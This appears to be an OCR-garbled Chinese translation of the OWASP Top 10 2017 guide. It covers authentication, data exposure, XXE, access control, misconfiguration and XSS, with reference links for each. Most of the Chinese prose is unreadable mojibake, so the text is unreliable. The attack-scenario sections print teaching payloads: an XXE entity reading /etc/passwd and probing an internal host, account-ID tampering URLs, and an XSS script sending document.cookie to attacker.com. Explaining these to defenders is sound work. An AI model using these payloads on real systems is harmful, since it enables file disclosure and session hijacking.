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o SOVFR IR B A B K

o RVFBRARD. SRV M E RS, Fln “Pas swal d 1

“admin/ admi n”

o (EAH 39 MBI RIESEE, SRR, Bl “FTRRM
BR”, BRAZEM.

o HEHIMISC, I eSS O B, Fo Ve I G P UL B V%
THARERE 56

o G BRI 2 R S BRI

W RBIR

S ATUCS T, FAOAKILAR, &% LHXRdE. R
SRR AR 1) A i e 224, Ay LUK R FE R /R % i oracle,
PATH 2 AR AIE R 1576 2K

2. K2 G006 UF B 2 BT A DR M — 1 R 2R
IRYR B ST, BRI AN 2 Z E ER S i L P . &
FH UL B 559505 . 22 ZRENIST-800-63 {52 1Eix b s, Jf:
FFHZ RN E S ML,

HE#3: RNEEMELAAME (BRI, Al e 12 A 555
B0 (I nfE FIMDS/SHALE A InEL) ) I RE S Eus . ik,
— /NAAIF TN TR AE AN B — JE Gk [ Bl i 3 24 %55, Hodh R
Koty Mk, AHENArgon 2 X FERIDICEL S, i Hsalting
P 1 TAF B LRI IR . B 51 R Xt

R an I k2

o NEAEHRIESGE BN, 552 EH AP,

o [ FARRLIN A I A B R AT (256, b finArgon28k, PBKDF2,
FEAE FH 7850 16 A IR 21k B 1 GPURB R I 5

o PUTITE IR, Bl B A A, DL IE “HE4 T
10000552515 B3 .

o IR, I MAIEIR RS 5NIST-800-63  B1E S /i 4HH
5.0 180 AR, B A AR A FE T E 4 R R S AH — 2
o BHUIEN . SRR EAAPIE A, I A gk SR A
M R, FH DGR P e e

o ERTFREMIMTT, SCILE R SR IRIE, DARTISE IR . #
IR B SR 5 R .

o HRURHTE . A M AT E A E,

FEGERG.

B0 B IR R

i
OWASP

« OWASP Proactive Controls - Implement Identity and
—

A B R

* NIST 800-63b 5.1.1 Memorized Secrets — for thorought
modernt evidence based advice on authentication.

» CWE:287: Improper Authentication

e CWE-384" Sec<ion Fixation



https://www.owasp.org/index.php/Credential_stuffing
https://github.com/danielmiessler/SecLists
https://cynosureprime.blogspot.com.au/2017/08/320-million-hashes-exposed.html
https://www.owasp.org/index.php/Credential_stuffing
https://www.owasp.org/index.php/OWASP_Proactive_Controls#5:_Implement_Identity_and_Authentication_Controls
http:// Authentication
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_Identity_Management
https://www.owasp.org/index.php/Testing_for_authentication
https://www.owasp.org/index.php/Authentication_Cheat_Sheet
https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
https://pages.nist.gov/800-63-3/sp800-63b.html#memsecret
https://cwe.mitre.org/data/definitions/287.html
https://cwe.mitre.org/data/definitions/384.html
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://github.com/danielmiessler/SecLists/tree/master/Passwords
https://pages.nist.gov/800-63-3/sp800-63b.html
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FERGE JUAE, XM ™ B By XA
DL AR IR AN 0 SRR B AT IR . AR B 0 A
w1 B A 2 4 R B AR R B B R A
SR, R AR R 58 BE A SRR AR T
FERRSS a1, AL R P I BR 95 AR A S, H
A7 s 0 58 s BN AR R T HL, PR AT A

IR AN TR P FE R A 5 M R A A N 1%
I R E . EEEN T, XL
EEAFREZMANGEEERE (PID
Bhn. BEIrics. YAEEIE. MAR
FEHE. EHEERES. RBEER
ML MBI LY, Flan: BRE
é%ﬁﬁﬁ%%%%»ﬁﬂﬁ“%%

B XU B TR MESS A 2

B VR BRI 2 R L A R MBI (B AR i
Bl AAREEE TGO . vl #i. FHRRS. B
I MAGBRERAZ BN, Reale ik B s R 26410 )
(GDPR) . HhJ5 “PaRAVREREE]” DLI “ G (R ir 15 L
A7 A T EOINER BB, e GO RATY B 2 4 bR vE )
(PICDSS)  (fEEFEIRIGTTHEME R AT HIEZRY  (HIPAA) o XFF
IXEE YR, BAfE

o TR ERER L 2 AN EE AR S A B SO 7 R T
HRAL A I ORI R AR BRI, i BT SRR Blweb
AR5 4%, 2 M Web R 55 23 L 5 2 & R 5t

o MBI IAF R, TRAAETEE, EAEE Menss, 8
TR EAR?

o LB IERWEAND , R IELEA AL H sk MEss i
WEP? (B “A6:2017 ZATEHE” )

o REMHEBIMNE RN, LR ESHEHEIENMNZEEH, &
BRI E 2 1 2 B B A ml e 2

o SETSRMIINABUREAE, Fln: PR e RS R AR
FERT SR 5 O 2

KPR PR RZ T 2 18, WH2%:  ASVS areas
Crypto (V7), Data Prot (V9) and SSL/TLS (V10).

W RBIR

B #1 AR P S R RGN (5 R
B, AP ERARE (U, CUECR R b R, 3%
AR SQUEE A TRIAE Y LW SC TR R AR A (s R

Sk #2: WIS EXBTAT OGBS B (I TLS, B A
MgghnaE . Bk A TN E . IREAEEETLS (Bl JF
JRTEL L), BT LLET U 7 & ificookie.

2 J5, Bh#E L i FH P cookie b FR 4 DA IE B & 42
W YR BIESUH A NE R BRItz A, Boti @y DU e
AR B, B BRI .

ié] EE #:3:
— NSO B AR R BE S IR R SO o i IR LR e
i FR) a7 L) e B2 MR 2 FO B Ak 7 2 o

LAY P A P OR 0k (R A SR L AT AR AR

I, anfey B 152

of — o T B0 I RUREE ,  ROZARRD B CA R L s

o XRGUCEL ., EAEEUAL B 2, AR - S AT VT A
o AR SHUREE (R H G MVE AN B, AR AT DA SR IR
PR BE

o X TR AN B IBURSER, 4R B, BT
PCI DSSPRICELFE R . A A7k I 08 A REBE 5T HL

o B ORAT it I T A BB i 2%

o B ORAE YL RE TP SR B, e FHTLC. 86 B in s u
sl AT, . {EFHSTS.

o WRORAEH T BOHTH . 58 KROARE BV 1S . 40, PRI %Rk,
JFHZHEHS|N . ATSFcrypto modules .

o TORAE 08 & R ByR 78S, Wi: _Argon2 . _scrypt.
berypt B(#PBKDE2 . i TAER R GEIRKFER) WEEREY
Y.

o 28 0 E SR AT S A A BURRER I 1 R

o BUBRIOIEAEA 22 AT B I A Rk

SEBR

OWASP - 0wASP Proactive Controls - Protect Data

¢ OWASP Application Security Verification Standard (V7.9.10)
¢ OWASP Cheat Sheet - Transport Layer Protection

¢ OWASP Cheat Sheet - User Privacy Protection

¢ OWASP Cheat Sheet - Passw ord Storage

¢ OWASP Cheat Sheet - Cryptographic Storage

« OWASP Security Headers Project

¢ OWASP Testing Guide - Testing for w eak cryptography
435 B R

: . : N
QW?ﬁ&Em%m&ﬂﬂuﬂﬂﬂmngiﬂmmu&mmm
QW?2QEm%m&ﬂgmLQOm?jmmmjﬂummﬁ
WE-312: C : QM;E#W&&HmMmm
WE-319: . " _


https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/OWASP_Proactive_Controls#7:_Protect_Data
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/User_Privacy_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/OWASP_Secure_Headers_Project
https://www.owasp.org/index.php/Testing_for_weak_Cryptography
https://cwe.mitre.org/data/definitions/359.html
https://cwe.mitre.org/data/definitions/202.html
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/326.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/319.html
http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm
https://www.cryptolux.org/index.php/Argon2
http://en.wikipedia.org/wiki/Scrypt
http://en.wikipedia.org/wiki/Bcrypt
http://en.wikipedia.org/wiki/PBKDF2
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A ASIE ® BAR® W5 2

ik A s B FH XML BRBE 5% Th i 1)
Web 7T ok # Web Bk 55, 455123 T
Webfl % [ISOAP.
BB BN 53 % B & A
TIXXEGLEE KRS 77 DAST T HEEHR,
1T T 5 B A BE 52 BXXEBR B I

XXEHRFE o

BIANBOL T, Y2 IHEIXMLALIE 28 G865 6 /1 30 5244
XMLEFE A 4 51 A1 34 A URBHEAT 078 .
SAST T B 0] DI 46 2 (R R I0UR 22 £ Te B R R I

XXESRFE AT ] TS Bl . $uAT imfe

RS AR HMNE RS PUTIHE

i 35 W AL A ety o I S5 L

;ﬁig{?ﬁ%%ﬁuﬁﬁﬁﬁjﬁﬁﬁﬁﬁiﬁﬁ%
Ko

BT XXEMETHA?

N FH R PR A 1) R B T XML Web IR %% sl R4, mlIReZELL TR

J7 2 5 5% B W i

o ISR R B XMUSCF B S 252 XML A%, REdj 2
KENZERIER S, B8 B A 2T B AXMLSCH:,
FEHRAT A XMLAL EH 247 AT

o 7R FHAE P LR T Web IR 25 HISOA P, AT XMLAL F 2S5 5 11
TR Y (DTDs) o K 2R DTDHEREHI# LA A 4b
FEESTARE, EZ2HEHES%: (QWASP XXE Prevention
Cheat _Sheet) .

o WREHIN AR RS2 ATIHSOAP, FE XML
B FISOAPHELE, N4 e AT RESZ B XXEX .

o SAST T H AT LA IR B AR A RS B XX EBRRG, RS
?2‘ 2= 0N R AT F AR & A 2V £ Al 414U i Ak
EE

o FEAEXXESRIE 182 R Py A 5 52 SR 28 IR 55 it

B RBR
REEXXESR I DR IIFREN IT, XL I A5 IR U &
XXESR .  XXERFEEIET V2 BB BT, Xt 75 a5
TRARE B T o Fo M7 S 10 vk b A AT B4 52 1 B XML 4
T #1. BEiE 2l RS i S B dls -
<?xml version="1.0" encoding="1SO-8859-1"?>
<IDOCTYPE foo [
<IELEMENT foo ANY >
<IENTITY xxe SYSTEM "file://letc/passwd" >]>
<foo>&xxe;</foo>

usk #2. Wi iR b 0 SE AT SE SO BLTR A AR I R 55
AL 4

<IENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

s #3:: Wi E KB ST 48 IR 55 B ik -
<IENTITY xxe SYSTEM "file:///[devirandom" >]>

I, anfey B 152

TN G R B AR D XXESRE )5 8, thah, BhiEXXE Bt

[ 3 e

o HR4E (OWASP XXE Prevention Cheat Sheet ) , fENHATRF
T XML T 28 FR 22 F XML A58 9244 1 DTD#ERE .

o SERERURIG C CEBZERT D BNIAE. WEAEE, ARG I 7E
XMLSCAS . Fr el e P b S 2

o BIEXMLECXSLSC 1 A% 3 i 2 518 XS DIGHIEB% H AR AL B8 IE
TERIEAE AL XML A«

o RS S BT T N FE P SR R4 E R G A X MLAL B 28 A

JE o S RO B P X a0 B R AL [ DA e P A5 SC BB, i
LR B A T AT RS 3 A T S B P A AN LA

* $5SOAPTH EI i W hi A »

W TCVESEIIR ey, EE R BB ERET . APIRA ME
BWAFsRAG I W4 AR b XX EX i

SEBR

OWASP

« OWASP Application Security Verification Standard
« OWASP Testing Guide - Testing for XML Injection
¢ OWASP XXE Vulnerabilit

« OWASP XXE Prevention Cheat Sheet

« OWASP XML Security Cheat Sheet

A B R
e CWE-611 Improper Restriction of XXE
« Bilion Laughs Attack



https://en.wikipedia.org/wiki/Document_type_definition
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008)
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/XML_Security_Cheat_Sheet
https://cwe.mitre.org/data/definitions/611.html
https://en.wikipedia.org/wiki/Billion_laughs_attack
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

SRBHIV [Fl

12

B |
o %.llll‘ﬁ[ﬂ}rnjﬁ _“-lllllllll.’_> LT R .llllllllllllllllll.» A
N2 A iR A R4 - k1 - AR -

S U I 4 I R A 95 AN i
— WO H e, SASTH DASTT.EA
ARSI 2 i 2 ) O i 2K, (RS RESG:
IEHThRE TS IEH . V7 il 32 ) m] A i
T W, B Ly EHE LR T
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M T8 = B S RIAS DA PR P OT RN Bk Z A 2L
RIZHRENIR, PRI i 42 SR B AR AL o

U i P A I 3 ANE T B A A BEh A .

PR e [ 4 BUidi 78 24 )P Bl
B AR ACIIRERT 7 BB
Vil SRR AR .

B SRRV 2 T 2
U v 2 1) 5 ) SEZ it S, sk R TR TR AE ST AR IR 2 AMAATAT
No IV R HE E SBCRERNE SR . Bk 4558
BB 5 P BUR 2 M RAT 5 ThAg . o WL B I 4% il ifg
55 A

o JHITEH URL. AN HFEFIRAEL HTML T Seat 1 ) 42 ]
e, S E A X AP i T A

o FOVPHE L SO SR P S R, B0 AR B SR AR N R

o BERUR . EABFHEN MR, U 0B 7
ML,

o TLEYRIRAE , WEMERE L IWT Vil 4ahl 4, B DURTHY
FRffcookie BYF&JH 7K .

» CORSHC & 415 SO VF A 32 BUHIA PIJT [

o DLSRIE &0 36 UE A9 B 4 s 0 U 08 B 4y BRI 4 R
BT BAE AR U7 i) B M SSBOR R T T BRA PI%:
HXPOST. PUTHIDELETESR | AT U7 e 3541

W RBIR

S #1: NHIRERAEV K5 R SQLIA A s i 1 R4Sk
HOEVE/R

pstmt.setString(le request.getParameter("acct"));
ResultSet results =pstmt.executeQuery();
Bl RS i g i “acct” S RIA] &2 A0 AT 1A B A4 i
M55 B W SR IEMRSRAE, Moo 2 aT LAG falAE 4] FH P R ik 7
http://fexample.com/app/accountinfo?acct=notmyacct
st #2: Wy (ORI Y HARURL . 3 53 AR 2 v 1) B B T
T T 46 75 T

http://fexample.com/app/getapplnfo
http://fexample.com/app/admin_getappInfo
AR — N RE G Gy B UE K AT BAYS AR T TUE, A X2 — A
GRBE . SR AN SRRV A P AT LAY ) R DU, IR A X
AR R — NG,

H e B Ak ?

U il P R AR B A5 A 55 A i AR s BOA e 5 2K AP FRA 2L,

P B A TR s ) A 2 e i

o BRAABHIESN, BRIAEIL N IEL YT .

o S — RAE R VS R LA, F AR IR o BT e

o JRSTYS P AR DGR AT B A BGE S, AN ez 7 A
BEH SR MR B T R

o 37 4 0 RS PR A M 1), (B 55 R A RN e
AR A BT

o 510 WebfiRk 3545 H AU, IFMERSCIF e (. git) A7
7ET WebfI# H R

. F‘LE%LS’%ME@%@?%?EU, G A E R A EE (U BRI
) .

o o APV i) 2% RO U5 [) AT TR AR f), - AR K BR B B 1 3 4
K THIEE.

TR GIAN QAN 53 N A4 T RE T i 42 fl) 5. 70 AN £ I«

SE 5k
OWASP

* OWASP Proactive Controls - Access Controls

« OWASP Application Security Verification Standard - V4 Access
Control

« OWASP Testing Guide - Access Control
« OWASP Cheat Sheet - Access Control

A3 B R
« CWE-22: Improper Limitation of a Pathname to a Restricted
Di (P T )

e confisumtions f



https://www.owasp.org/index.php/OWASP_Proactive_Controls#6:_Implement_Access_Controls
https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project#tab=Home
https://www.owasp.org/index.php/Testing_for_Authorization
https://www.owasp.org/index.php/Access_Control_Cheat_Sheet
https://cwe.mitre.org/data/definitions/22.html
https://cwe.mitre.org/data/definitions/284.html
https://cwe.mitre.org/data/definitions/285.html
https://cwe.mitre.org/data/definitions/639.html
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
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b —MMERE . WTEENN AR ZEIE NS, Rk
T

W RBIR

DL SRR IR S5 4 B G AR ) & 1 B 2R B B B
T BRIAMK ! A s . Sl B AR URAOIR S 4% LB T AR Y
LA UM, BN BB, IR TR 5545

mE#2: HRIIREIRKINRSG & EARPEEM . Bt & KO R %5
i H %, dhl ] R BRIk S5 s ERMEROSCME . BUEF R EIE T

A Cgi ¥ avadt, i iR A3 7 PTA RN B E ST,

IRJE W AEARA LR PP rh R B — A I ™ BN
SE#3. AR SN0 E R VFHERRER ER (5 BB g 7, IXFEEL
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Suiaa: NIRRT A B AR I RE A G O 2B 7= iR 55 2%
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ey B 1k

FEAEUCESIAE LR LA T

o DA LAPGE H 5 T8 3 AE 53— NBIUE PR S5 AT 2 RN L .
TR B RAE AN AL P PR B C B AR R CREAS A8 T Al AN
FIAERD) o IXANEREN %A B, USRI D25 — D
LARETIFED

o B BRBUANE 2R AT AN T 2L D e
i KA RIHESE o

o —NREMIN 2 STF AR B O PR T B S B S A
ﬁg%ﬁﬁoﬁ%%@%%ﬁﬁ%oW%\ﬁﬁﬂﬁ(ﬁﬂ

. g’l‘ﬁ%ﬁéﬂﬁﬁ‘zﬂﬂ ST R 73 B AN 22 A R AR 58 DK R 28
o TEFTA PR TP RERS IEAG 2 RO BB E 1) A s i 72

B SCREAURE . B8 BRA

SE 5k
OWASP

¢ OWASP Testing Guide: Configuration Management
¢ OWASP Testing Guide: Testing for Error Codes

T BEFRW T EZSBNFERELE, ESNASVS requirements
I for ri nfiguration (V11 and V19).

A3 B R
¢ NIST Guide to General Server Hardening
« CWE Entry 2 on Environmental Security Flaw s

o Cl ri nfiguration i Benchmark



https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/ASVS
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-123.pdf
http://cwe.mitre.org/data/definitions/2.html
http://benchmarks.cisecurity.org/downloads/benchmarks/
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B3 TRREH S A —

L XSS ]
PHP. J2EEE{JSP. ASP.NET.

HA - A% 2

A ASIE ®

XSS/EOWASP ToplOH 45 — i i) 22
LA, A TIE= 2 R .

s RERIRAE— L

WX HEIA (XSS) MEFHA?

FAE=FIXSSIHKA, &8 ETXT ™ I B 25
RGFAXSS: RIS A& R IEE’UHEEE%B’JH%F%U\ IF:

FEONHTMLEE FAtR 7 CSPELH) — o th o 2 Bt f 78
ZEHWELE FHATTEEHTMLEISRY . —f&mis, AFE

B ah R H Y i D L,
BEATAEIHE,

IKGTBL

FAEAXSS: VRGN AP AR I S NAF i R T
TFAE o AR HAd R P Bl A B A DU R ok, AP EEXSS —
FEA N A i 1 ™ 2L PR KU

FT DOMYXSS: 223 K Tri 38 vy 45 1) P9 25 0\ TUTH 11
JavaScriptiEZe . HTTHFE 7 SKAPHETE X Fp A ()i . FRARY
KR, AR 1230 o T T P B R IR 45 AN 42 4 ) JavaScript
API.

MR X SSH T S 3 5 Hlsession. T/, 423 MFA. DIV & #.,
WA PR I (Blhn: SERAE L EReS) BLRHE
Al O e

W RBIR

JS2FHRE AL N T H TMUAC RS BE (443 o R 2096 UE Bl e SCRD AT
5 M -

( String)  page +=
value=""+requestgetParameter ("CC" +">";

BEEHENESPES “cc” SHONITE:

'><scriptd@locument.location=
‘http://www.attacker.com/cgi -bin/cookie.cgi?
foo="+document.cookie</script>'.

AT 3 852 FH I 2D A0E BB FH I Mk, 85 Bl
RS AR AT 2

T VE B A TR B Re A A S
Uk E R i& (CSRF) Bﬁfﬁﬂmﬁﬂ
A8 .

Sl JHIAS ORI S R AT A% 4 AR AR AT
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